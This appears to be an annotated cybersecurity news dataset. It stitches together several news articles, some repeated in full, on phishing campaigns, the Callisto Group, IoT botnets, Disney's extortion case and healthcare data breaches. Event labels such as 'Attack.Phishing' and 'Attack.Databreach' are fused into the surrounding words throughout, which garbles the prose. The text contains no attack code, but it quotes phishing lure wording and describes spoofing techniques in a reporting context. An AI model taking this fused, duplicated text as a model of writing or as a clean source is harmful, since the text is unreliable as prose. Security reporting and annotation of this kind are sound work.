insecure consumer IoT ( Internet of Things ) devices . Mirai 's attacks exploited only a small number of devices and vulnerabilities and used basic password guessing techniques , '' part of the report indicates . However , the report claims that cybercriminals will find it easy to extend their reach because there are so many IoT devices containing outdated code based on poorly-maintained operating systems and applications with well-known vulnerabilities . `` Expect IoT exploits , better password guessing and more compromised IoT devices being used for DDoS or perhaps to target other devices in your network , '' it notes . It shows there is a shift from exploitation to targeted social attacks . `` Cybercriminals are getting better at exploiting the ultimate vulnerability - humans . Ever more sophisticated and convincing targeted attacks seek to coax users into compromising themselves . For example , it 's common to see an email that addresses the recipient by name and claims they have an outstanding debt the sender has been authorised to collect , '' explains part of the report . It further states that shock , awe or borrowing authority by pretending to beAttack.Phishinglaw enforcement are common and effective tactics , saying that the email directs them to a malicious link that users are panicked into clicking on , opening them up to attack . `` Such phishing attacksAttack.Phishingcan no longer be recognised by obvious mistakes , '' it states . SWIFT recently admitted that there have been other such attacks and it expects to see more , stating in a leaked letter to client banks , stating that the threat is very persistent , adaptive and sophisticated - and it is here to stay . The Sophos report notes that there is increasing exploitation of the Internet 's inherently insecure infrastructure . All Internet users rely on ancient foundational protocols and their ubiquity makes them nearly impossible to revamp or replace
The shadowy hacker consortium known as Callisto Group targeted the UK 's Foreign Office over several months in 2016 . According to research firm F-Secure , Callisto Group is an advanced threat actor whose known targets include military personnel , government officials , think tanks and journalists , especially in Europe and the South Caucasus . Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions , and this , combined with infrastructure footprint links to known state actors , suggests a nation-state benefactor , the firm said . In October 2015 the Callisto Group targeted a handful of individuals with phishing emails that attempted to obtainAttack.Databreachthe target ’ s webmail credentials . Then , in early 2016 , the Callisto Group began sendingAttack.Phishinghighly targeted spear phishing emails with malicious attachments that contained , as their final payload , the “ Scout ” malware tool from the HackingTeam RCS Galileo platform . Scout was , ironically , originally developed for law enforcement . “ These spear-phishing emails were craftedAttack.Phishingto appear highly convincing , including being sentAttack.Phishingfrom legitimate email accounts suspected to have been previously compromisedAttack.Databreachby the Callisto Group via credential phishingAttack.Phishing, ” F-Secure noted in a paper , adding that the group is continuing to set up new phishingAttack.Phishinginfrastructure every week . One of the targets for Callisto in 2016 was the Foreign Office , according to BBC sources . The outlet reports that the government is investigating an attack that began in April last year . A source told the BBC that the compromised server didn ’ t contain the most sensitive information , fortunately . In a statement , the UK 's National Cyber Security Centre ( NCSC ) declined attribution or comment and merely said : `` The first duty of government is to safeguard the nation and as the technical authority on cybersecurity , the NCSC is delivering ground breaking innovations to make the UK the toughest online target in the world . The government 's Active Cyber Defence programme is developing services to block , prevent and neutralise attacks before they reach inboxes. ” F-Secure also said that evidence suggests the Callisto Group may have a nation-state sponsor , and that it uses infrastructure tied to China , Russia and Ukraine . It told the BBC that Callisto Group 's hacking efforts show similarities in tactics , techniques , procedures and targets to the Russia-linked group known as APT28 , though the two appear to be different entities . However , Callisto Group is also associated with infrastructure used for the sale of controlled substances , which “ hints at the involvement of a criminal element , ” F-Secure said . Going a bit further , a different source told the BBC that two of the phishing domains used in the UK attackAttack.Phishing“ were once linked to an IP address mentioned in a US government report into Grizzly Steppe. ” Grizzly Steppe is the code-name for Russian meddling in the US elections .
With phishingAttack.Phishingnow widely used as a mechanism for distributing ransomware , a new NTT Security reveals that 77 % of all detected ransomware globally was in four main sectors – business & professional services ( 28 % ) , government ( 19 % ) , health care ( 15 % ) and retail ( 15 % ) . While technical attacks on the newest vulnerabilities tend to dominate the media , many attacks rely on less technical means . According to the GTIR , phishing attacksAttack.Phishingwere responsible for nearly three-quarters ( 73 % ) of all malware delivered to organizations , with government ( 65 % ) and business & professional services ( 25 % ) as the industry sectors most likely to be attacked at a global level . When it comes to attacks by country , the U.S. ( 41 % ) , Netherlands ( 38 % ) and France ( 5 % ) were the top three sources of phishing attacksAttack.Phishing. The report also reveals that just 25 passwords accounted for nearly 33 % of all authentication attempts against NTT Security honeypots last year . Over 76 % of log on attempts included a password known to be implemented in the Mirai botnet – a botnet comprised of IoT devices , which was used to conduct , what were at the time , the largest ever distributed denial of service ( DDoS ) attacks . DDoS attacks represented less than 6 % of attacks globally , but accounted for over 16 % of all attacks from Asia and 23 % of all attacks from Australia . Finance was the most commonly attacked industry globally , subject to 14 % of all attacks . The finance sector was the only sector to appear in the top three across all of the geographic regions analysed , while manufacturing appeared in the top three in five of the six regions . Finance ( 14 % ) , government ( 14 % ) and manufacturing ( 13 % ) were the top three most commonly attacked industry sectors . “ We identified more than six billion attempted attacks over the 12-month period – that ’ s around 16 million attacks a day – and monitored threat actors using nearly every type of attack , ” said Steven Bullitt , Vice President Threat Intelligence & Incident Response , GTIC , NTT Security . With visibility into 40 percent of the world ’ s internet traffic , NTT Security summarizes data from over 3.5 trillion logs and 6.2 billion attacks for the 2017 Global Threat Intelligence Report ( GTIR ) . Analysis is based on log , event , attack , incident and vulnerability data .
Researchers have discovered over 300 cybersquatting domains masquerading asAttack.Phishingreal UK banking sites , many of which are designed to trickAttack.Phishingcustomers into handing over personal details . DomainTools used its PhishEye tool to search for domains registered by individuals to mimicAttack.Phishingthose of Barclays , HSBC , Natwest , Lloyd ’ s and Standard Chartered . It found a whopping 324 registered domains abusing the trademarks of these lenders , including lloydstbs [ . ] com , standardchartered-bank [ . ] com and barclaysbank-plc [ . ] co.uk . “ Imitation has long been thought to be the sincerest form of flattery , but not when it comes to domains , ” explained DomainTools senior security researcher , Kyle Wilhoit . “ While domain squatters of the past were mostly trying to profit from the domain itself , these days they ’ re often sophisticated cyber-criminals using the spoofed domain names for more malicious endeavors. ” Cybersquatting can be used for a variety of ends , including redirecting the user to pay-per-click ads for the victim company ’ s competitors ; for-profit survey sites , or ransomware and other forms of drive-by malware . However , one of the most common is to createAttack.Phishinga phishing page similar to the spoofed bank ’ s original , which will ask for log-ins or other banking and personal information . This years ’ Verizon Data Breach Investigations Report ( DBIR ) claimed phishingAttack.Phishinghas soared in popularity , present in a fifth ( 21 % ) of attacks , up from just 8 % last year . “ Many [ cybersquatters ] will simply add a letter to a brand name , such as Domaintoools.com , while others will add letters or an entire word such as ‘ login ’ to either side of a brand name . Users should remember to carefully inspect every domain they are clicking on or entering in their browser . Also , ensure you are watching redirects when you are going from site to site , ” advised Wilhoit . “ Brands can and should start monitoring for fraudulent domain name registrations and defensively register their own typo variants . It is better to lock down typo domains than to leave them available to someone else and at an average of £12 per year per domain , this is a relatively cheap insurance policy . ”
Google users today were hitAttack.Phishingwith an extremely convincing phishing spreeAttack.Phishinglaunched by attackers who manipulated Google Docs ' legitimate third-party sharing mechanism . Targets receivedAttack.Phishingmessages with the subject like `` [ Sender ] has shared a document on Google Docs with you '' often from senders they knew . The messages contained links , which led to a page that clearly requested access to the user 's Gmail account . If the target user provides access , the attackAttack.Phishingbegins sendingAttack.Phishingspam to all the user 's contacts . Theoretically , the attacker could also accessAttack.Databreachthe victim 's messages and stealAttack.Databreachsensitive data , but thus far there have been no reports of such activity . Because it takes advantage of Google 's legitimate third-party sharing mechanism , the phishing message is much more difficult to identify as malicious . The icons and messaging are familiar to Google users . Gmail itself did not filter the messages as phishingAttack.Phishingor flag them as spam , but rather sent them to Gmail users ' `` Primary '' inbox mail folders . The senders were familiar enough to have the target in their contact lists . One way to spot the attack : some targets report that the message includes a recipient with an address that begins `` hhhhhhhhhhhhhh '' and ends with the domain `` mailinator.com . '' Google responded with a fix and issued a statement : `` We have taken action to protect users against an email impersonatingAttack.PhishingGoogle Docs , and have disabled offending accounts . We ’ ve removed the fake pages , pushedVulnerability-related.PatchVulnerabilityupdates through Safe Browsing , and our abuse team is working to prevent this kind of spoofingAttack.Phishingfrom happening again . We encourage users to report phishing emails in Gmail . If you think you were affected , visit http : //g.co/SecurityCheckup '' Those who have already fallen victim to this attack should also go to their Google account permissions settings and revoke access to the false `` Google Docs '' application . They 're also advised to set up two-factor authentication .
Yesterday we wrote about a “ Google Docs ” phishing campaignAttack.Phishingthat aimed to trickAttack.Phishingyou into authorising a malicious third-party Gmail app so that it could take over your email account and your contact list for its own ends . One of those ends seems to have been to spam outAttack.Phishinganother wave of those same fraudulent emails to your friends and colleagues , in the hope of getting them to authorise the imposter app , and thus to sendAttack.Phishingout another wave of emails , and another , and so on . Technically , that made it more than just a “ phishAttack.Phishing” , which we ’ ll define very loosely here as an email that aims to trickAttack.Phishing, coerce or cajoleAttack.Phishingyou into performing an authentication task , or giving away personal data , that you later wish you hadn ’ t . The classic old-school example of a phishAttack.Phishingis an email that tells you that you have lost money to fraudAttack.Phishing, or gained money from a tax refund , so please use this web link to login to your bank account to sort this out . These days , however , the word phishingAttack.Phishingis generally understood much more broadly , describing any sort of misdirectionAttack.Phishingthat gets you to authorise or to give away something you should have kept private . Many users have learned to avoid login links in emails , so the crooks have broadened the range of threats and incentives by which they phishAttack.Phishingfor access to your online life . This week ’ s so-called “ Google Docs ” attack could spread all by itself , helped on by users giving it the permission it needed along the way , just like the infamous Love Bug virus from 2000 , or the pernicious FriendGreetings adware from 2002 . Technically , then , that makes the “ Google Docs ” attack a virus , or more specifically a worm , which is a special sort of virus that spreads by itself , without needing pre-existing host files to hook onto .
THE Irish public are being warned by an antivirus protection company as cyber scammers are targeting Tesco and Bank of Ireland customers . ESET Ireland have looked at recent cyber threats arriving by mail in recent weeks , and they are advising caution as one link could see your money stolen . The cyber security company say that for the people sendingAttack.Phishingthese malicious emails , it ’ s a numbers game that they are playing . IT security and cybercrime analyst for ESET Ireland , Urban Schrott , said : `` Send out enough spam and a certain percentage of victims will click . So , week after week , we ’ re seeing new scams or new variations on old scams . The past weeks were no exception . '' One such email that was sent outAttack.Phishingthis week was targeted at Tesco Bank customers - the elaborate letter pretended to have come fromAttack.Phishingthe Tesco Bank credit card team . It reads : “ We ’ ve been trying to contact you about your account , but we 've been unable to reach you . Your account has been restricted . To continue using our online services and have your account restored , just to keep you safe , kindly confirm your identity and remove your account limitations with the reference link below. ” They would then proceed to kindly stealAttack.Databreachyour log in details and try to log into your account to take your money . Bank of Ireland customers are also being targeted and ESET say that the Irish bank is `` always a popular name to abuse '' . The company have detected two phishingAttack.Phishingvariations which have recently targeted members of the banking institution . One convincing looking email claims : “ In order to protect your funds and information , Bank of Ireland has set up a new enhanced security system , which will eliminate fraud and totally protect you . The new system is called Boi Secure Link . Click the Boi Secure Link below to enjoy the new security features. ” Of course , clicking on that link does everything but protect you , but instead attempts pretty much the same as the Tesco one . The second one was even simpler , but unfortunately , not less effective . It said : “ My Inbox ( 1 ) ~ Your message is available to view on 365 online . Log in to 365Online ” . As curiosity tends to get the better of people , a “ new message in the inbox ” is a good lure to get people clicking . ESET Ireland recommends you avoid clicking on any links in such emails and do not open attachments , as they may contain malware that can end up installing ransomware , or can lead to phishingAttack.Phishingor scamming websites .
THE Irish public are being warned by an antivirus protection company as cyber scammers are targeting Tesco and Bank of Ireland customers . ESET Ireland have looked at recent cyber threats arriving by mail in recent weeks , and they are advising caution as one link could see your money stolen . The cyber security company say that for the people sendingAttack.Phishingthese malicious emails , it ’ s a numbers game that they are playing . IT security and cybercrime analyst for ESET Ireland , Urban Schrott , said : `` Send out enough spam and a certain percentage of victims will click . So , week after week , we ’ re seeing new scams or new variations on old scams . The past weeks were no exception . '' One such email that was sent outAttack.Phishingthis week was targeted at Tesco Bank customers - the elaborate letter pretended to have come fromAttack.Phishingthe Tesco Bank credit card team . It reads : “ We ’ ve been trying to contact you about your account , but we 've been unable to reach you . Your account has been restricted . To continue using our online services and have your account restored , just to keep you safe , kindly confirm your identity and remove your account limitations with the reference link below. ” They would then proceed to kindly stealAttack.Databreachyour log in details and try to log into your account to take your money . Bank of Ireland customers are also being targeted and ESET say that the Irish bank is `` always a popular name to abuse '' . The company have detected two phishingAttack.Phishingvariations which have recently targeted members of the banking institution . One convincing looking email claims : “ In order to protect your funds and information , Bank of Ireland has set up a new enhanced security system , which will eliminate fraud and totally protect you . The new system is called Boi Secure Link . Click the Boi Secure Link below to enjoy the new security features. ” Of course , clicking on that link does everything but protect you , but instead attempts pretty much the same as the Tesco one . The second one was even simpler , but unfortunately , not less effective . It said : “ My Inbox ( 1 ) ~ Your message is available to view on 365 online . Log in to 365Online ” . As curiosity tends to get the better of people , a “ new message in the inbox ” is a good lure to get people clicking . ESET Ireland recommends you avoid clicking on any links in such emails and do not open attachments , as they may contain malware that can end up installing ransomware , or can lead to phishingAttack.Phishingor scamming websites .
Files claiming to be the new Pirates of the Caribbean movie have leakedAttack.Databreachonline after Disney refused to meet hackers ' demandsAttack.Ransom. On 17 May , Softpedia 's Gabriela Vatu reported that two copies of Pirates of the Caribbean : Dead Men Tell No Tales had appeared on the popular ( and somewhat appropriate ) BitTorrent site The Pirate Bay . `` According to the information unearthed thus far , the hackers managed to get accessAttack.Databreachto the systems of Larson Studios in Hollywood , a company that handles additional dialogue recorded for movies . It seems that the copies they 've managed to get their hands on are in various stages of production and not exactly what you 'd expect from a full cinema-ready release . '' News of the extortion attempt first appeared in The Hollywood Reporter on 15 May when Bob Iger , CEO at Walt Disney , revealed the hackers had demandedAttack.Ransomthat Disney payAttack.Ransoma `` huge sum '' in Bitcoins to prevent them from leaking a then-undisclosed movie online . At the time , the attackers said they would release the film incrementally to netizens , first publishing clips lasting only a few minutes and slowly building up to 20-minute segments . Iger said Disney decided to not payAttack.Ransomthe attackers and was working with federal law enforcement to investigate the theft of one of its productions . It 's unclear who exactly perpetrated the leakAttack.Databreach- if indeed the files really are of the movie . Even so , a potential candidate is The Dark Overlord , a group of hackers who released the fifth season of Orange Is the New Black after Netflix refused to meet its ransom demandsAttack.Ransomback in April 2017 . Around that time , the hacking gang , which has also extortedAttack.Ransomnon-film entities in the past , tweeted out that it had stolenAttack.Databreachcontent from a number of other media companies . It did not name Walt Disney by name , though it did point to FOX , ABC , and others . Who is next on the list ? FOX , IFC , NAT GEO , and ABC . Oh , what fun we 're all going to have . We 're not playing any games anymore . While Disney and Netflix continue to work with the FBI in tracking down The Dark Overlord , someone has already removed the two copies of what claimed to be the Pirates of the Caribbean film from The Pirate Bay . The hackers could release the movies again . Or they might be focusing on their next target . While movie-goers might celebrate a leak of the movie , media companies like Walt Disney do n't want viewers gaining early access to their content . That 's why organizations should take the opportunity to conduct some security awareness training with their employees . This effort should include phishingAttack.Phishingsimulations and reviewing the security readiness of companies along their supply chains . Article updated 19 May 2017 . None of the files made available as downloadable torrents have been confirmed to contain footage of the movie . For more discussion on the issue , make sure to listen to this recent episode of the `` Smashing Security '' podcast . Your browser does not support this audio element .
But sometimes that simple precaution is n't enough . A case in point is a dangerous phishing technique targeting Gmail users that first surfaced about one year ago but has begun gaining steam in recent weeks . Wordfence , the maker of a security plugin for Wordpress , described the phishing attackAttack.Phishingas beginning with an adversary sendingAttack.Phishingan email to a target ’ s Gmail account . The email typically will originate from someone on the recipient ’ s contact list whose own account had previously been compromised . The email comes with a subject header and a screenshot or image of an attachment that the sender has used in a recent communication with the recipient . When the recipient clicks on the image , a new tab opens with a prompt asking the user to sign into Gmail again . The fully functional phishing page is designed to look exactly likeAttack.PhishingGoogle ’ s page for signing into Gmail . The address bar for the page includes mention of accounts.google.com , leading unwary users to believe the page is harmless , Wordfence CEO Mark Maunder wrote . `` Once you complete sign-in , your account has been compromised , '' he said . In reality , the fake login page that opens upAttack.Phishingwhen a user clicks on the image is actually an inline file created using a scheme called Data URI . When users enter their Gmail username and password on the page , the data is sent to the attacker . The speed at which the attackers sign into a compromised account suggest that the process may be automated , or that they may have a team standing by to access accounts as they get compromised . `` Once they have access to your account , the attacker also has full access to all your emails including sent and received at this point and may download the whole lot , '' Maunder said . What makes the phishing technique dangerous is the way the address bar displaysAttack.Phishinginformation when users click on the screenshot of the attachment , he told Dark Reading . In this case , by including the correct host name and “ https// ” in the address bar , the attackers appear to beAttack.Phishinghaving more success foolingAttack.Phishingvictims into entering their credential data on the fake Gmail login page , he says . Instead , all of the content in the address bar is of the same color and is designed to convince users that the site is harmless . `` If you aren ’ t paying close attention , you will ignore the ‘ data : text/html ’ preamble and assume the URL is safe . '' Google said in a statement that it 's working on mitigations to such an attack . `` We 're aware of this issue and continue to strengthen our defenses against it , '' Google said . `` We help protect users from phishing attacksAttack.Phishingin a variety of ways , including : machine learning based detection of phishing messages , Safe Browsing warnings that notify users of dangerous links in emails and browsers , preventing suspicious account sign-ins , and more . Users can also activate two-step verification for additional account protection . '' Users can also mitigate the risk of their accounts being compromised via phishingAttack.Phishingby enabling two-factor authentication . `` What makes this unique is the fact that none of the traditional browser indicators that would identify a possible fraudulent site are present , '' says Robert Capps , vice president of business development at NuData Security . The attack underscores the need for Web browser makers to rethink the trust signals they use to inform users about a danger webpage or exploit . `` How users interpret these signals should be thoroughly understood , '' he says . `` Entraining users to rely on signals may have unintended consequences that attackers can use to exploit customers .
Insecure backend databases and mobile apps are making for a dangerous combination , exposingAttack.Databreachan estimated 280 million records that include a treasure-trove of private user data . According to a report by Appthority , more than 1,000 apps it looked at on mobile devices leakedAttack.Databreachpersonally identifiable information that included passwords , location , VPN PINs , emails and phone numbers . Appthority Mobile Threat Team calledVulnerability-related.DiscoverVulnerabilitythe vulnerability HospitalGown and saidVulnerability-related.DiscoverVulnerabilitythe culprit behind the threat are misconfigured backend storage platforms including Elasticsearch , Redis , MongoDB and MySQL . “ HospitalGown is a vulnerability to data exposure caused , not by any code in the app , but by the app developers ’ failure to properly secure the backend servers with which the app communicates , ” wrote the authors of the report releasedVulnerability-related.DiscoverVulnerabilityWednesday . According to Seth Hardy , director of security research , the problem is a byproduct of insecure database instillations that made headlinesVulnerability-related.DiscoverVulnerabilityin February . That ’ s when misconfigured and insecure MongoDB , Hadoop and CouchDB installations became popular extortionAttack.Ransomtargets for hackers who were scanning for vulnerable servers to attack . The weak link in the chain when it comes to HospitalGown are the insecure servers that apps connect to , Hardy said . During the course of Appthority ’ s investigation , it foundVulnerability-related.DiscoverVulnerability21,000 open Elasticsearch servers , revealing more than 43 terabytes of exposed data . In one scenario , the attacker looks for vulnerabilities in the space between the vendor ’ s mobile application and the app ’ s server side components , according to researchers . “ The servers for most mobile applications are cloud based and accessible via the Internet , this allows a bad actor to skip the long and potentially many-layered ‘ compromise ’ stage of an attack , accessingAttack.Databreachcompany data directly from a database that is impossible for the enterprise to see or secure , ” they wrote . Researchers saidVulnerability-related.DiscoverVulnerabilityvulnerable mobile apps it foundVulnerability-related.DiscoverVulnerabilityran the gamut , from office productivity , enterprise access management , games , dating to travel , flight and hotel applications . Any personal identifiable data a user shared with the app was vulnerableVulnerability-related.DiscoverVulnerabilityto possible exfiltrationAttack.Databreachby a hacker . “ These servers were accessible from the Internet , lacked any means of authentication to prevent unwanted accessAttack.Databreachto the data they contained , and failed to secure transport of data , including PII , using HTTPS : conventions , ” according to the report . While this is a strictly a data security issue , Appthority saidVulnerability-related.DiscoverVulnerability, attacks can quickly escalate and personal information could easily be leveraged in a spear phishing attackAttack.Phishingor brute force attack . In its report , AppThority showed how a mobile VPN app called Pulse Workspace , used by enterprises , government agencies and service providers , leakedAttack.Databreachdata . While Pulse Workspace created an API to secure front-end Elasticsearch access , the backend , and all of the app ’ s data records , were exposed and leakedAttack.DatabreachPulse customer data . AppThority notifiedVulnerability-related.DiscoverVulnerabilityPulse Workspace and its customers of the vulnerability , which have since been fixedVulnerability-related.PatchVulnerability. Appthority is careful to point out that of the platforms it examined – Elasticsearch , Redis , MongoDB , and MySQL – each had plugins to allow for proper public exposure on the internet . “ Best practices on secure data stores is just not being adopted in too many cases , ” Hardy said . Elasticsearch , for example , has a bevy of security and data protection capabilities , such as being able to encrypt all the data that ’ s on the platform . Increasing the risk of HospitalGown type-attacks is that fact that many apps Appthority looked at seemed benign in terms of shared user data . But , increasingly apps have advertising components that collectAttack.Databreachpersonal identifiable data that can be mined by hackers for phishingAttack.Phishingor ransomware attacksAttack.Ransom. App developers and system administrators need to know where their data is stored and make sure it is secured , Hardy told Threatpost .
PhishingAttack.Phishingand other hacking incidents have led to several recently reported large health data breachesAttack.Databreach, including one that UConn Health reports affected 326,000 individuals . In describing a phishing attackAttack.Phishing, UConn Health says that on Dec 24 , 2018 , it determined that an unauthorized third party illegally accessedAttack.Databreacha limited number of employee email accounts containing patient information , including some individuals ' names , dates of birth , addresses and limited medical information , such as billing and appointment information . The accounts also contained the Social Security numbers of some individuals . Several other healthcare entities also have recently reported to federal regulators data breachesAttack.Databreachinvolving apparent phishingAttack.Phishingand other email-related attacks . `` All of these incidents speak to the rampant attacks we are seeing across healthcare , and yet organizations are still not investing enough in protection or detection , '' says Mac McMillan , CEO of security consulting firm CynergisTek . UConn Health , an academic medical center , says in a media statement that it identified approximately 326,000 potentially impacted individuals whose personal information was contained in the compromisedAttack.Databreachemail accounts . For approximately 1,500 of these individuals , this information included Social Security numbers . `` It is important to note that , at this point , UConn Health does not know for certain if any personal information was ever viewed or acquiredAttack.Databreachby the unauthorized party , and is not aware of any instances of fraud or identity theft as a result of this incident , '' the statement notes . `` The incident had no impact on UConn Health 's computer networks or electronic medical record systems . '' UConn Health is offering prepaid identity theft protection services to individuals whose Social Security numbers may be impacted . The organization says it has notified law enforcement officials and retained a forensics firm to investigate the matter . Once the U.S.Department of Health and Human Services confirms the details , the attackAttack.Databreachon UConn Health could rank as the second largest health data breachAttack.Databreachreported so far this year , based on a snapshot of its HIPAA Breach Reporting Tool website on Monday . The largest health data breachAttack.Databreachrevealed so far this year , but not yet added to the tally , affected University of Washington Medicine . UW Medicine says a misconfigured database left patient data exposedAttack.Databreachon the internet for several weeks last December , resulting in a breachAttack.Databreachaffecting 974,000 individuals . Several other phishingAttack.Phishingand hacking incidents have been added to the HHS `` wall of shame '' tally in recent weeks . Among those is a hacking incident impacting 40,000 individuals reported on Feb 1 by Minnesota-based Reproductive Medicine and Infertility Associates . In a statement , the organization notes that on Dec 5 , 2018 , it discovered it had been the target of a `` criminal malware attack . '' An RMIA practice manager tells Information Security Media Group that independent computer forensics experts removed the malware , but did not definitively determine how the malware infection was launched . The practice suspects the malware was likely embedded in an email attachment , he says . RMIA 's statement notes that while the investigation did not identify any evidence of unauthorized accessAttack.Databreachto anyone 's personal information , `` we unfortunately could not completely rule out the possibility that patients ' personal information , including name , address , date of birth , health insurance information , limited treatment information and , for donors only , Social Security number , may have been accessibleAttack.Databreach. '' In the aftermath of the incident , RMIA says it 's adding another firewall , requiring changes to user credentials/passwords , implementing dual-factor authentication and providing additional staff training regarding information security . '' Also reporting a hacking incident in recent weeks was Charleston , S.C.-based Roper St.Francis Healthcare , which operates several hospitals in the region . The attack was reported as impacting nearly 35,300 individuals . In a Jan 29 statement , the entity says that on Nov 30 , 2018 , it learned that an unauthorized actor may have gained accessAttack.Databreachto some of its employees ' email accounts between Nov 15 and Dec 1 , 2018 , `` Our investigation determined that some patient information may have been contained in the email accounts , patients ' names , medical record numbers , information about services they received from Roper St.Francis , health insurance information , and , in some cases , Social Security numbers and financial information , '' the statement says . For those patients whose Social Security number was potentially exposedAttack.Databreach, the organization is offering prepaid credit monitoring and identity protection services . `` To help prevent something like this from happening again , we are continuing education with our staff on email protection and enhancing our email security , '' Roper St. Francis says . As phishingAttack.Phishingcontinues to menace healthcare entities , covered entities and business associates need to keep up with their defenses , some experts note . `` Phishing techniques have become more sophisticated than in the past , '' note Kate Borten , president of security and privacy consulting firm The Marblehead Group . `` Workforce training should include simulated phishing attacksAttack.Phishingto make people better prepared to recognize and thwart a real attack . '' To help mitigate breach risks , organizations should be deploying next-generation firewalls and multifactor authentication , plus employing advanced malware detection solutions , McMillan says . Too many organizations are overlooking the value of multifactor authentication , Borten adds . `` Two-factor user authentication was intended to be required over the internet and public networks in the proposed HIPAA Security Rule , '' she notes . `` Unfortunately , since that requirement was dropped in the final rule , healthcare is lagging on multifactor authentication , which is easier now than ever to implement . '' But McMillan advises healthcare organizations to avoid using multifactor authentication systems that use SMS to transmit a one-time password because those messages can be interceptedAttack.Databreach. `` The software- or hardware-based solutions are preferred , '' McMillan says . So what other technologies or best practices should covered entities and business associates consider to prevent falling victim to phishingAttack.Phishingand other attacks ? `` Unfortunately we have n't seen any silver bullets here yet , but one thing we might want to begin exploring is just what an attacker has accessAttack.Databreachto when they compromiseAttack.Databreacha user 's account , '' McMillan notes . `` All too often , we hear that the accounts compromisedAttack.Databreachhad incredibly large numbers of emails immediately accessibleAttack.Databreachto the attacker . The question is , are their better ways to deal with retention that mitigate risk as well ? ''
PhishingAttack.Phishingand other hacking incidents have led to several recently reported large health data breachesAttack.Databreach, including one that UConn Health reports affected 326,000 individuals . In describing a phishing attackAttack.Phishing, UConn Health says that on Dec 24 , 2018 , it determined that an unauthorized third party illegally accessedAttack.Databreacha limited number of employee email accounts containing patient information , including some individuals ' names , dates of birth , addresses and limited medical information , such as billing and appointment information . The accounts also contained the Social Security numbers of some individuals . Several other healthcare entities also have recently reported to federal regulators data breachesAttack.Databreachinvolving apparent phishingAttack.Phishingand other email-related attacks . `` All of these incidents speak to the rampant attacks we are seeing across healthcare , and yet organizations are still not investing enough in protection or detection , '' says Mac McMillan , CEO of security consulting firm CynergisTek . UConn Health , an academic medical center , says in a media statement that it identified approximately 326,000 potentially impacted individuals whose personal information was contained in the compromisedAttack.Databreachemail accounts . For approximately 1,500 of these individuals , this information included Social Security numbers . `` It is important to note that , at this point , UConn Health does not know for certain if any personal information was ever viewed or acquiredAttack.Databreachby the unauthorized party , and is not aware of any instances of fraud or identity theft as a result of this incident , '' the statement notes . `` The incident had no impact on UConn Health 's computer networks or electronic medical record systems . '' UConn Health is offering prepaid identity theft protection services to individuals whose Social Security numbers may be impacted . The organization says it has notified law enforcement officials and retained a forensics firm to investigate the matter . Once the U.S.Department of Health and Human Services confirms the details , the attackAttack.Databreachon UConn Health could rank as the second largest health data breachAttack.Databreachreported so far this year , based on a snapshot of its HIPAA Breach Reporting Tool website on Monday . The largest health data breachAttack.Databreachrevealed so far this year , but not yet added to the tally , affected University of Washington Medicine . UW Medicine says a misconfigured database left patient data exposedAttack.Databreachon the internet for several weeks last December , resulting in a breachAttack.Databreachaffecting 974,000 individuals . Several other phishingAttack.Phishingand hacking incidents have been added to the HHS `` wall of shame '' tally in recent weeks . Among those is a hacking incident impacting 40,000 individuals reported on Feb 1 by Minnesota-based Reproductive Medicine and Infertility Associates . In a statement , the organization notes that on Dec 5 , 2018 , it discovered it had been the target of a `` criminal malware attack . '' An RMIA practice manager tells Information Security Media Group that independent computer forensics experts removed the malware , but did not definitively determine how the malware infection was launched . The practice suspects the malware was likely embedded in an email attachment , he says . RMIA 's statement notes that while the investigation did not identify any evidence of unauthorized accessAttack.Databreachto anyone 's personal information , `` we unfortunately could not completely rule out the possibility that patients ' personal information , including name , address , date of birth , health insurance information , limited treatment information and , for donors only , Social Security number , may have been accessibleAttack.Databreach. '' In the aftermath of the incident , RMIA says it 's adding another firewall , requiring changes to user credentials/passwords , implementing dual-factor authentication and providing additional staff training regarding information security . '' Also reporting a hacking incident in recent weeks was Charleston , S.C.-based Roper St.Francis Healthcare , which operates several hospitals in the region . The attack was reported as impacting nearly 35,300 individuals . In a Jan 29 statement , the entity says that on Nov 30 , 2018 , it learned that an unauthorized actor may have gained accessAttack.Databreachto some of its employees ' email accounts between Nov 15 and Dec 1 , 2018 , `` Our investigation determined that some patient information may have been contained in the email accounts , patients ' names , medical record numbers , information about services they received from Roper St.Francis , health insurance information , and , in some cases , Social Security numbers and financial information , '' the statement says . For those patients whose Social Security number was potentially exposedAttack.Databreach, the organization is offering prepaid credit monitoring and identity protection services . `` To help prevent something like this from happening again , we are continuing education with our staff on email protection and enhancing our email security , '' Roper St. Francis says . As phishingAttack.Phishingcontinues to menace healthcare entities , covered entities and business associates need to keep up with their defenses , some experts note . `` Phishing techniques have become more sophisticated than in the past , '' note Kate Borten , president of security and privacy consulting firm The Marblehead Group . `` Workforce training should include simulated phishing attacksAttack.Phishingto make people better prepared to recognize and thwart a real attack . '' To help mitigate breach risks , organizations should be deploying next-generation firewalls and multifactor authentication , plus employing advanced malware detection solutions , McMillan says . Too many organizations are overlooking the value of multifactor authentication , Borten adds . `` Two-factor user authentication was intended to be required over the internet and public networks in the proposed HIPAA Security Rule , '' she notes . `` Unfortunately , since that requirement was dropped in the final rule , healthcare is lagging on multifactor authentication , which is easier now than ever to implement . '' But McMillan advises healthcare organizations to avoid using multifactor authentication systems that use SMS to transmit a one-time password because those messages can be interceptedAttack.Databreach. `` The software- or hardware-based solutions are preferred , '' McMillan says . So what other technologies or best practices should covered entities and business associates consider to prevent falling victim to phishingAttack.Phishingand other attacks ? `` Unfortunately we have n't seen any silver bullets here yet , but one thing we might want to begin exploring is just what an attacker has accessAttack.Databreachto when they compromiseAttack.Databreacha user 's account , '' McMillan notes . `` All too often , we hear that the accounts compromisedAttack.Databreachhad incredibly large numbers of emails immediately accessibleAttack.Databreachto the attacker . The question is , are their better ways to deal with retention that mitigate risk as well ? ''
